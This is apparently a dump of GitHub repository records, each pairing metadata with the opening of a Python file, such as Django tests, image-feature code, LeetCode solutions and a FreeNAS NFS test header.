#!/usr/bin/python # -*- coding: utf-8 -*- # # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt from pisi.actionsapi import autotools from pisi.actionsapi import pisitools def build(): autotools.make() def install(): pisitools.dobin(...
[ "MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2" ]
MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2
5a1c0a821c8b0cc7645bb835b8dfca67d0336984
52c3ef5ae2c86cbde6c46c7c8d225ddf165d0632
/LBP/LBPFeatures.py
6ea1ff584be3fb4112dc7a7a65e274c11af7a2a3
[ "MIT" ]
permissive
joshlyman/TextureAnalysis
7ae028584af6466cd96e207060a916611511d300
bfbedbd53f62396fdef383408089b37e5ab511d0
refs/heads/master
2020-09-03T04:07:16.372160
2019-11-03T23:51:20
2019-11-03T23:51:20
219,382,186
3
1
null
null
null
null
UTF-8
Python
false
false
293
py
import numpy from skimage.feature import local_binary_pattern def calcFeatures(img, nPoints, radius, method, nBins): lbp = local_binary_pattern(img, nPoints, radius, method) rawFeatures = numpy.histogram(lbp.ravel(), bins = nBins, range = (0, nBins), normed = True) return rawFeatures[0]
[ "yanzhexu@asu.edu" ]
yanzhexu@asu.edu
aa7f9bc5eae2e24c5566b4db520c1ddef3c6cac5
dd8a4180d6b7fb80442703671a6aee38e20f3082
/刷题/剑指offer/丑数.py
32052fac32afd97a5ffa0a58b6cff3efe8e46d31
[]
no_license
xiaokongkong/some-tricks-about-python
57ffc8f36adc09a9299efebfa21abac6b347e032
63b1ad2e15f8eb1d4ba35e1dc220a02774441d41
refs/heads/master
2020-04-26T17:03:48.142452
2019-07-25T01:36:57
2019-07-25T01:36:57
173,700,595
0
0
null
null
null
null
UTF-8
Python
false
false
1,188
py
# 要求:只含有2、3、5因子的数是丑数,求第1500个丑数 # 思路: 按顺序保存已知的丑数,下一个是已知丑数中某三个数乘以2,3,5中的最小值 class Solution(object): def nthUglyNumber(self, n): ugly = [1] t2 = t3 = t5 = 0 while len(ugly) < n: while ugly[t2] * 2 <= ugly[-1]: t2 += 1 print('1') while ugly...
[ "huxuedan@iie.ac.cn" ]
huxuedan@iie.ac.cn
281139e5f93d055419625798553bcabc61ec69c8
3b504a983f1807ae7c5af51078bfab8c187fc82d
/client/LifetimeController.py
07254c86301eccc05758dc625a375436ea113d34
[]
no_license
SEA-group/wowp_scripts
7d35fd213db95ea6b3dbd1ec6d3e0f13de86ba58
2fe54a44df34f2dcaa6860a23b835dcd8dd21402
refs/heads/master
2021-09-07T23:10:13.706605
2018-03-02T17:23:48
2018-03-02T17:23:48
117,280,141
0
0
null
null
null
null
UTF-8
Python
false
false
1,691
py
# Embedded file name: scripts/client/LifetimeController.py import GameEnvironment from AvatarControllerBase import AvatarControllerBase import BigWorld class LifetimeController(AvatarControllerBase): def __init__(self, owner): super(LifetimeController, self).__init__(owner) self._playerAvatar.eEnt...
[ "55k@outlook.com" ]
55k@outlook.com
fe8da6d90287137df4eb0800ea74553b963cdd72
3740659f09476c398d61acd7515079eeecf2e601
/user/tests/test_http.py
5238892213383e63482f2c36174e9816278cce09
[]
no_license
soguazu/django-api-starter
04f9edda815c6da04c46f23ab9f238ba0190cae9
ced03a4568190ab7fedc0cbe9692e76de2c0e1db
refs/heads/master
2022-11-11T05:46:57.291124
2020-06-26T13:34:45
2020-06-26T13:34:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,597
py
from django.contrib.auth import get_user_model from rest_framework import status from rest_framework.reverse import reverse from rest_framework.test import APITestCase PASSWORD = 'pAssw0rd!' def create_user(email='user@example.com', password=PASSWORD, **kwargs): return get_user_model().objects.create_user(email,...
[ "danielale9291@gmail.com" ]
danielale9291@gmail.com
da9bacdb7b3158f7ce3087bec785059619bbb1cc
4dd2845936941bd727d6d950a2d1fe3875a15d59
/runtests.py
b03d9952a863e5e8d809d293323e35edbd8b7173
[ "BSD-2-Clause-Views" ]
permissive
alexforks/django-allowedsites
10e6cc4b08c7180e8aada0376ff18e45a26a9709
bd33483683fd6ab5bb39683a6e02b677a0faecce
refs/heads/master
2023-03-29T09:33:25.902383
2021-04-03T15:49:51
2021-04-03T15:49:51
353,994,613
0
0
NOASSERTION
2021-04-03T15:01:06
2021-04-02T11:09:00
Python
UTF-8
Python
false
false
1,075
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys from django.conf import settings import django def get_settings(): import test_settings setting_attrs = {} for attr in dir(test_settings): if attr.isupper(): setting_attrs[attr] = getattr(test_settings, attr) retur...
[ "keryn@kerynknight.com" ]
keryn@kerynknight.com
72de59ef9fef1fd802811b611890aea3ffb768b5
6cd4d9e8d6100cc8f0a8b2ce02cf308acb83fb93
/NTuplesToHists/YourMacrosAreBadAndYouShouldFeelBad.py
522ea6f01c5fdb5435f17f4f75fea2e8bb515fce
[]
no_license
mattleblanc/TakeOverTheWorld
09224dd21c4c8ce9b46857c8a41bfd315f187655
503cda16122043940d18aae147c9aa9b62378411
refs/heads/master
2021-01-22T08:09:43.695283
2016-04-03T17:34:54
2016-04-03T17:34:54
56,230,568
0
0
null
2016-04-14T11:05:52
2016-04-14T11:05:52
null
UTF-8
Python
false
false
3,108
py
import json import ROOT import os from rootpy.io import root_open from rootpy.plotting import Hist, Hist2D, Hist3D from rootpy.plotting import set_style from rootpy.tree import Tree, TreeChain import argparse parser = argparse.ArgumentParser(description='Author: G. Stark') parser.add_argument('files', type=str, narg...
[ "kratsg@gmail.com" ]
kratsg@gmail.com
959547da6943eb1205b9f43f08c76e0f13e545f7
12854e1de4f41ec30db48ad5847a1e7a0b61a0e9
/201901SSAFY/02Django/190211 월간평가풀이, Django/14workshop_source/first_workshop/settings.py
a59eb0abf552a23a8f07b0be39e2754cd49ec7d5
[]
no_license
egyeasy/TIL
b3192184cb50f255cc5473468d34d65820b29849
8985b97d267edc70d21b4cc4a1e275c8c94ccafc
refs/heads/master
2023-01-08T12:09:40.993410
2019-07-25T10:05:42
2019-07-25T10:05:42
163,810,472
0
0
null
2023-01-04T17:34:02
2019-01-02T07:47:20
Jupyter Notebook
UTF-8
Python
false
false
3,175
py
""" Django settings for workshop14 project. Generated by 'django-admin startproject' using Django 2.1.5. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os...
[ "dz1120@gmail.com" ]
dz1120@gmail.com
066ce0c0b9289143ab17eb18b3e443b1d12d1a9f
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02889/s289576998.py
6bc6be80a4ae723b5c3967503484971bf4b0b3d2
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
711
py
n,m,l = map(int,input().split()) g = [[1<<30]*n for _ in range(n)] for _ in range(m): a,b,c = map(int,input().split()) g[a-1][b-1] = c g[b-1][a-1] = c for i in range(n): g[i][i] = 0 def bell(g,n): for k in range(n): for i in range(n-1): for j in range(i+1,n): if g[i][j] > g[i][k] + g[k][j]:...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
863976cffa3215b748389ba234369b05b9f0744e
7b74696ff2ab729396cba6c203984fce5cd0ff83
/analysis/migrations/0037_auto_20200607_0718.py
dddc4b555fc3bd70f1b908f9416c415ba8af42b5
[ "MIT" ]
permissive
webclinic017/investtrack
e9e9a7a8caeecaceebcd79111c32b334c4e1c1d0
4aa204b608e99dfec3dd575e72b64a6002def3be
refs/heads/master
2023-06-18T12:57:32.417414
2021-07-10T14:26:53
2021-07-10T14:26:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,112
py
# Generated by Django 3.0.2 on 2020-06-06 23:18 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('analysis', '0036_auto_20200607_0708'), ] operations = [ migrations.AlterField( model_name='stockstrategytestlog', na...
[ "jie.han@outlook.com" ]
jie.han@outlook.com
8cbbde7d34292bb5bf0c07f8ab017014d576d25b
9f2fff8239e0026f99d8477d1b477cac23ce62f7
/multiscale_affinities_python/ms_affinities_dense.py
f0cd8937c42cc20b6e92ae2a0b1d24ce28613fce
[]
no_license
constantinpape/affinities
c4cf571c963abb931619a8243b5187cdb6677457
3889fd97af8c9f620af37e8701f10a28048a8963
refs/heads/master
2020-03-12T01:48:16.727673
2018-06-24T13:52:20
2018-06-24T13:52:20
130,384,714
0
0
null
null
null
null
UTF-8
Python
false
false
3,199
py
import numpy as np import nifty.tools as nt def compute_histograms(blocking, labels): histograms = [] n_blocks = blocking.numberOfBlocks for block_id in range(n_blocks): if block_id % (n_blocks // 100) == 0: print(block_id, '/', n_blocks) block = blocking.getBlock(block_id) ...
[ "constantin.pape@iwr.uni-heidelberg.de" ]
constantin.pape@iwr.uni-heidelberg.de
278ab43f839d0d3a461037b55ec5edf6aaf166c9
972be801215790ba193804d2eca0fee95f67ca34
/codechef/medium/solved/COINS.py
f476dd099c2ed26df111b3da1722a4bfd9af0f33
[]
no_license
rikithreddy/codeinpy
6f4a998e707a83349a19ed4e014eebcafbe4f6d0
4ec9668dd15d9ab501e7fd43946474638ac64cd0
refs/heads/master
2021-06-29T22:41:25.249869
2020-10-01T11:18:56
2020-10-01T11:18:56
164,993,422
0
0
null
null
null
null
UTF-8
Python
false
false
328
py
def max_val(num): if num == 0 or num == 1: return num if num in dp: return dp[num] maxval = max(num,max_val(num//2)+max_val(num//3)+max_val(num//4)) dp[num] = maxval return maxval if __name__=='__main__': global dp dp = {} for i in range(10): try: n = int(input()) print(max_val(n)) except: ...
[ "rikith.legend@gmail.com" ]
rikith.legend@gmail.com
7696aea1af5d04d5c170863940af3c18d90b4034
2d841eef1cdda9ed67073fac83196282ecc3aa0c
/zoonado/protocol/request.py
908b8a467d2f1ebb3ca9426c0005f8c11f2113bd
[ "Apache-2.0" ]
permissive
cybergrind/zoonado
a130dfb2a2d9867784a81056ff307d97eee68128
c51457b997e0b9500c7bbdaa1be0693a0185fa5e
refs/heads/master
2020-12-03T02:27:41.417566
2016-08-31T19:19:35
2016-08-31T19:19:35
67,051,910
0
0
null
2016-08-31T15:50:16
2016-08-31T15:50:15
null
UTF-8
Python
false
false
999
py
import logging import struct from six import BytesIO from .part import Part from .primitives import Int log = logging.getLogger(__name__) class Request(Part): """ Returns a bytesring representation of the request instance. # TODO(wglass): specify how xid and type preamble goes in Since this is a...
[ "william.glass@gmail.com" ]
william.glass@gmail.com
223a3a99bbd7d4ba7c99c9e91a9e98bf218afc69
91fb65972d69ca25ddd892b9d5373919ee518ee7
/pibm-training/sample-programs/py_everything_is_an_obj_001.py
0e6612549b1013f3e183fce673a9182048163007
[]
no_license
zeppertrek/my-python-sandpit
c36b78e7b3118133c215468e0a387a987d2e62a9
c04177b276e6f784f94d4db0481fcd2ee0048265
refs/heads/master
2022-12-12T00:27:37.338001
2020-11-08T08:56:33
2020-11-08T08:56:33
141,911,099
0
0
null
2022-12-08T04:09:28
2018-07-22T16:12:55
Python
UTF-8
Python
false
false
364
py
#py_everything_is_an_obj_001.py a = "spam" b = "spam" # print(id(a)) print(id(b)) # # id() returns the actual memory location where the variable is stored. # Since id(a) = id(b), we know that a and b both point to a single variable, # that resides in a single memory location. # This is what we mean by “multiple na...
[ "zeppertrek@gmail.com" ]
zeppertrek@gmail.com
cd9b705a28433bf72c9fcf5e19b36c5865b6b741
87c1d94465696d2373b69858fe70f300975a62da
/glycresoft_app/application_server.py
3fb511380d8de124158ad2b65f0022bdb1d0b9c3
[]
no_license
mobiusklein/glycresoft_app
a3a119c2693be0fdadac3afeaf137a297ee8d7a0
64d0d65680b36d52cb431733adce44e8bed577fa
refs/heads/master
2023-09-06T00:09:55.314850
2023-08-30T01:40:21
2023-08-30T01:40:21
71,012,403
0
1
null
null
null
null
UTF-8
Python
false
false
4,991
py
import re import logging from typing import Callable, Union import waitress from flask import request, Flask from werkzeug.serving import run_simple from werkzeug.wsgi import LimitedStream logger = logging.getLogger("glycresoft") class StreamConsumingMiddleware(object): def __init__(self, app): self.ap...
[ "mobiusklein@gmail.com" ]
mobiusklein@gmail.com
a37aff3cdf0d53e29d93e00e6dd191d81b661662
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/pa2/sample/class_def_methods-139.py
b4ff2a30618b166adbb2cfa8393b73915e5fdeb7
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
351
py
class A(object): x:int = 1 def get_A(self: "A") -> int: return self.x class B(A): def __init__(self: "B"): pass class C(B): z:bool = True def set_A(self: "C", val: int) -> object: self.x = val a:A = None b:B = None c:C = None a = A() $Target = B() c = C() b.x = a.get_A...
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
892d737a042d3d46a559c275e9a923acf3530294
c3ff891e0e23c5f9488508d30349259cc6b64b4d
/python练习/django exercise/luffy_permission/rbac/service/middlewares.py
1d0238ecf25eeee9606cd4855644b05469d43173
[]
no_license
JacksonMike/python_exercise
2af2b8913ec8aded8a17a98aaa0fc9c6ccd7ba53
7698f8ce260439abb3cbdf478586fa1888791a61
refs/heads/master
2020-07-14T18:16:39.265372
2019-08-30T11:56:29
2019-08-30T11:56:29
205,370,953
0
0
null
null
null
null
UTF-8
Python
false
false
2,231
py
from django.utils.deprecation import MiddlewareMixin from django.shortcuts import HttpResponse, redirect from rbac.models import Permission import re class PermissionMiddleWare(MiddlewareMixin): def process_request(self, request): current_path = request.path # 设置白名单放行 for item ...
[ "2101706902@qq.com" ]
2101706902@qq.com
c416adf9692fb2e0f6a93c4bfd6cc646de67eca2
9faf145ffc23b218166ac220b5a01fe4d6fc19c3
/clients/forms.py
784f472f8eabf43814ee31f07f1b4d7273d36392
[]
no_license
yrrodriguezb/Admin_Projects
58ddd5a185c6c2b9ab72a9d2c066113d484e43f8
098ffb03a4585a11d2d31842e5340c5806749983
refs/heads/master
2023-07-06T05:01:45.644989
2023-06-26T23:25:37
2023-06-26T23:25:37
199,576,321
0
0
null
2023-06-26T23:25:39
2019-07-30T04:46:24
CSS
UTF-8
Python
false
false
4,020
py
from django import forms from django.contrib.auth.models import User from .models import Client, SocialNetwork # Constantes ERROR_MESSAGE_USER = { 'required': 'El usuario es requerido', 'unique': 'El usuario ya esta registrado', 'invalid': 'El nombre de usuario es incorrecto' } ERROR_MESSAGE_PASSWOR...
[ "yrrodriguezb@gmail.com" ]
yrrodriguezb@gmail.com
6b655752d5a07872aa9b40b1be3100bf3f294a8e
673e829dda9583c8dd2ac8d958ba1dc304bffeaf
/data/multilingual/Tfng.ZGH/Sun-ExtA_16/pdf_to_json_test_Tfng.ZGH_Sun-ExtA_16.py
03ebec36e784299d747ea13f2b53ed8ab0ce2501
[ "BSD-3-Clause" ]
permissive
antoinecarme/pdf_to_json_tests
58bab9f6ba263531e69f793233ddc4d33b783b7e
d57a024fde862e698d916a1178f285883d7a3b2f
refs/heads/master
2021-01-26T08:41:47.327804
2020-02-27T15:54:48
2020-02-27T15:54:48
243,359,934
2
1
null
null
null
null
UTF-8
Python
false
false
311
py
import pdf_to_json as p2j import json url = "file:data/multilingual/Tfng.ZGH/Sun-ExtA_16/udhr_Tfng.ZGH_Sun-ExtA_16.pdf" lConverter = p2j.pdf_to_json.pdf_to_json_converter() lConverter.mImageHashOnly = True lDict = lConverter.convert(url) print(json.dumps(lDict, indent=4, ensure_ascii=False, sort_keys=True))
[ "antoine.carme@laposte.net" ]
antoine.carme@laposte.net
8e8fc36db20a6b5e3d356b04c4033f97b1883151
0b40232eb2395c27353c892ef4ccb5c604bb75be
/Top Amazon Questions 2020-21/238. Product of Array Except Self.py
697114e68bea8899ecfa0f9455b060d0d72e1387
[]
no_license
HareshNasit/LeetCode
971ae9dd5e4f0feeafa5bb3bcf5b7fa0a514d54d
674728af189aa8951a3fcb355b290f5666b1465c
refs/heads/master
2021-06-18T07:37:40.121698
2021-02-12T12:30:18
2021-02-12T12:30:18
168,089,751
5
0
null
null
null
null
UTF-8
Python
false
false
1,470
py
def productExceptSelf(self, nums: List[int]) -> List[int]: # Runtime: O(n), Space: O(1) output = [] product = 1 for i in range(len(nums) - 1, 0, -1): product *= nums[i] output.append(product) output.reverse() output.append(1) product = 1 ...
[ "harsh.nasit@mail.utoronto.ca" ]
harsh.nasit@mail.utoronto.ca
ea24decd785a80733d8f26101e938ff9a02b6c9c
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-eihealth/huaweicloudsdkeihealth/v1/model/create_label_page_req.py
102091db306ef21d76697a22ec8d70ef018cf23e
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
4,831
py
# coding: utf-8 import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CreateLabelPageReq: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
70d797fbbba0be7ea46b8cff2d12b561c3fe0d80
12e50c27715f436b61513fbdce29b8f3c10b44b5
/misc/math-functions-nikki.py
acc79e7d875f96f5c7bf98b9dc73fcf5dc677934
[]
no_license
jitto/pi-rover
790c3f76fecf07270a4b1d8d532babd21397e694
f2d55224a2af69d8d20b7c148ca6ea0889b70fbc
refs/heads/master
2020-05-18T06:28:27.082033
2015-09-06T18:04:55
2015-09-06T18:04:55
15,832,652
0
0
null
null
null
null
UTF-8
Python
false
false
677
py
def fib(n): a, b = 0, 1 while a < n: print a, a, b = b, a+b def cube_volume(n): return n ** 3 def cube_area(n): return n * n * 6 def triangle_area(height, basewidth): return (height * basewidth) /2 def pyramid_area(triangleheight, basewidth): d=(triangleheight * basewidth) /...
[ "pi@raspberrypi.(none)" ]
pi@raspberrypi.(none)
4293d7edf5e9d6f308b33e9de2ed4d3e96fb7536
2a8abd5d6acdc260aff3639bce35ca1e688869e9
/telestream_cloud_qc_sdk/telestream_cloud_qc/models/imf_conformance_test.py
e05c079cfee8684235503293e616459bf08a8fd8
[ "MIT" ]
permissive
Telestream/telestream-cloud-python-sdk
57dd2f0422c83531e213f48d87bc0c71f58b5872
ce0ad503299661a0f622661359367173c06889fc
refs/heads/master
2021-01-18T02:17:44.258254
2020-04-09T11:36:07
2020-04-09T11:36:07
49,494,916
0
0
MIT
2018-01-22T10:07:49
2016-01-12T11:10:56
Python
UTF-8
Python
false
false
4,135
py
# coding: utf-8 """ Qc API Qc API # noqa: E501 The version of the OpenAPI document: 3.0.0 Contact: cloudsupport@telestream.net Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from telestream_cloud_qc.configuration import Configuration class...
[ "cloudsupport@telestream.net" ]
cloudsupport@telestream.net
b64770ff542be1e4d9164dcb5118b683f7b128a2
7ec92031e28b1a92a10a9f252f99211663e0d8f9
/src/py/l0590.py
c3a8b6f335216c7c92b7764c9b5ab5b13567f52c
[]
no_license
SS4G/leetcode_2020
4eb63f6afd59f84e44334e78cb06c7b33a89dd15
9a9a8fc779e7456db77f88e7dcdcc1f5cae92c62
refs/heads/master
2020-06-29T17:12:39.488350
2020-02-08T01:07:08
2020-02-08T01:07:08
200,575,620
0
0
null
null
null
null
UTF-8
Python
false
false
1,112
py
from typing import List class Node: def __init__(self, val=None, children=None): self.val = val self.children = children #from collections import namedtuple #NamedNode = namedtuple("NamedNode", ["node", "children_isin_stack"]) class NamedNode: def __init__(self, node=None, children_isin_stack=...
[ "zihengs@opera.com" ]
zihengs@opera.com
02f628303b7dc91de251f6326cedaae0298a9587
51b6d2fc53d5c632fcf01319842baebf13901e84
/atcoder.jp/abc188/abc188_d/Main.py
1e5d9d645f2e9ffab7410054740a1fd8aab111ac
[]
no_license
mono-0812/procon
35db3b2c21eff74fbd7b52db07f249380f6834ef
68a4b53880a228a0164052b23d1326363efcbc20
refs/heads/master
2023-05-30T17:02:58.935074
2021-06-27T12:15:10
2021-06-27T12:15:10
345,896,553
0
0
null
null
null
null
UTF-8
Python
false
false
299
py
N,C=map(int,input().split()) event=[] for i in range(N): a,b,c=map(int,input().split()) a-=1 event.append((a,c)) event.append((b,-c)) event.sort() ans=0 price=0 time=0 for x,y in event: if x!= time: ans += min(C,price) * (x-time) time=x price += y print(ans)
[ "frisk02.jar@gmail.com" ]
frisk02.jar@gmail.com
64826084a3a388930cb6ac612e49b7b0bd430cbd
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2193/60769/290055.py
5b7ecddc8355fa25593ec20850b2d615a4c64e30
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
625
py
def solve(stri, start, end): arr = [] for i in range(start, end + 1): arr.append(stri[:i]) temp = [] # print(arr) for i in range(end - start, 0, -1): for item in arr: if len(item) >= i: if item[-i:] in temp: return i els...
[ "1069583789@qq.com" ]
1069583789@qq.com
31a01a998d47903bb644c847826883ea15e847c2
c309e7d19af94ebcb537f1e8655c0122dbe0cb13
/Chapter05/01-chapter-content/bitwise_operations_images.py
7d0d64e2babad2a125a12bfc9b713a529d967d77
[ "MIT" ]
permissive
PacktPublishing/Mastering-OpenCV-4-with-Python
0fb82c88cb7205c7050c8db9f95a6deb3b1b3333
4194aea6f925a4b39114aaff8463be4d18e73aba
refs/heads/master
2023-03-07T04:51:16.071143
2023-02-13T10:17:48
2023-02-13T10:17:48
151,057,527
375
226
MIT
2022-08-27T13:32:19
2018-10-01T08:27:29
Python
UTF-8
Python
false
false
1,151
py
""" Bitwise operations (AND, OR) between two loaded images """ import cv2 import matplotlib.pyplot as plt def show_with_matplotlib(color_img, title, pos): """Shows an image using matplotlib capabilities""" # Convert BGR image to RGB: img_RGB = color_img[:, :, ::-1] ax = plt.subplot(2, 2, pos) p...
[ "fernandezvillan.alberto@gmail.com" ]
fernandezvillan.alberto@gmail.com
131babc22aa61f003930bc3c092db73b94b4f001
ffa27c48912792a5cbb22abd1b27a7b047efec83
/yacon/models/users.py
a22a3fa63fb1ba879f864cb767b31069d4fd8366
[ "MIT" ]
permissive
cltrudeau/django-yacon
ac325829a25b343b2a7eb604886e019b33efc098
d462c88cf98bf8eef50a0696b265fa28dfdb40eb
refs/heads/master
2022-12-02T18:15:10.075815
2017-10-29T21:39:08
2017-10-29T21:39:08
31,387,194
0
0
MIT
2022-11-22T02:03:55
2015-02-26T20:28:18
Python
UTF-8
Python
false
false
3,834
py
# yacon.models.users.py import logging, copy from django.db import models from django.db import connection from django.db.utils import IntegrityError from django.contrib.auth.models import User from yacon.models.common import TimeTrackedModel logger = logging.getLogger(__name__) # ==================================...
[ "ctrudeau@arsensa.com" ]
ctrudeau@arsensa.com
2da4ba03d5dd2a0245241774909cb880bcf89abe
182480ab7335a0ca44830b2b05f53de71ed27262
/wasienv/wasienv.py
18b731bedece14baaa0f475d2fb4a02d706c760d
[ "MIT" ]
permissive
torch2424/wasienv
d6fb8a166badca0a635894640d65ad18cd989a50
1984e395af875563d28e8e7879181d56d51f7fff
refs/heads/master
2020-09-04T01:07:13.218804
2019-11-02T00:57:16
2019-11-02T00:57:16
219,626,231
0
0
MIT
2019-11-05T00:55:24
2019-11-05T00:55:24
null
UTF-8
Python
false
false
724
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import sys import os from .tools import execute from .sdk import download_and_unpack, CURRENT_SDK, SDKAlreadyExists, set_default_sdk def run(args): if len(args) <= 1: print("wasienv command line tool") return ...
[ "me@syrusakbary.com" ]
me@syrusakbary.com
7211b81a695ca974186217a73606ab6f37003dff
3694563be043a2d555bacb1abff51a77a17eb4e6
/common/mRequests.py
fcbbdd30f91994267313d6dde04614e0c7ea7fa5
[]
no_license
smallsharp/mInterface
1911e99c9482c0450e2d72dc6b1f2c8c32fa000b
b8c0be069b7cdf9812b42895a0919a78719aad4b
refs/heads/master
2020-03-10T00:28:23.170196
2018-05-23T09:57:16
2018-05-23T09:57:16
129,082,468
0
0
null
null
null
null
UTF-8
Python
false
false
5,587
py
import requests import mParser from common.mLog import MyLog import os PATH = lambda p: os.path.abspath( os.path.join(os.path.dirname(__file__), p) ) class MyRequests: # config.ini配置文件的路径 iniParser = mParser.MyIniParser(PATH('../config.ini')) def __init__(self): # self.protocol = self.iniPar...
[ "464625206@qq.com" ]
464625206@qq.com
5921562e15c831eb22dffd20f69df93f583b47d3
514ee614185baa2df0489a5c4353d02fb9e4d0c2
/myapp/models.py
c60102f6bc350790c1bc6d5f2b027e12da7db00d
[]
no_license
adiram17/django-admin-custom-action
841dca3a9e6e8c23abd6431773c98afd6f4e49e1
7b139e186b2d705d54c619655a31669e7cdfec67
refs/heads/master
2022-11-19T09:07:31.626528
2020-07-09T03:14:23
2020-07-09T03:14:23
278,250,480
0
0
null
null
null
null
UTF-8
Python
false
false
814
py
from django.db import models # Create your models here. class Book(models.Model): STATUS_CHOICES = ( ('instock','In Stock'), ('outstock','Out of Stock') ) title = models.CharField(db_column='title', max_length=100, blank=False) description = models.TextField(db_column='description', max...
[ "adi.ramadhan@sigma.co.id" ]
adi.ramadhan@sigma.co.id
65dac723902b87c20fd7a4587915f63e5e8c1dcb
78b009f92845282db420895c8336db2aab6b293b
/tests/api2/nfs.py
0abec5fbe4e2f8d6b5c8176b47043e3bd578c558
[]
no_license
stilez/freenas
00eae76c2f97aa4a1d1b8edb2706a973395036ae
5b576f2fa899c89f660f41a20fab0d07e204aca4
refs/heads/master
2021-07-03T04:51:24.294951
2018-05-22T02:54:49
2018-05-22T02:54:49
134,390,321
0
0
null
2018-05-22T09:15:27
2018-05-22T09:15:27
null
UTF-8
Python
false
false
7,534
py
#!/usr/bin/env python3.6 # Author: Eric Turgeon # License: BSD # Location for tests into REST API of FreeNAS import pytest import sys import os apifolder = os.getcwd() sys.path.append(apifolder) from functions import PUT, POST, GET, SSH_TEST from auto_config import ip from config import * if "BRIDGEHOST" in locals(...
[ "ericturgeon.bsd@gmail.com" ]
ericturgeon.bsd@gmail.com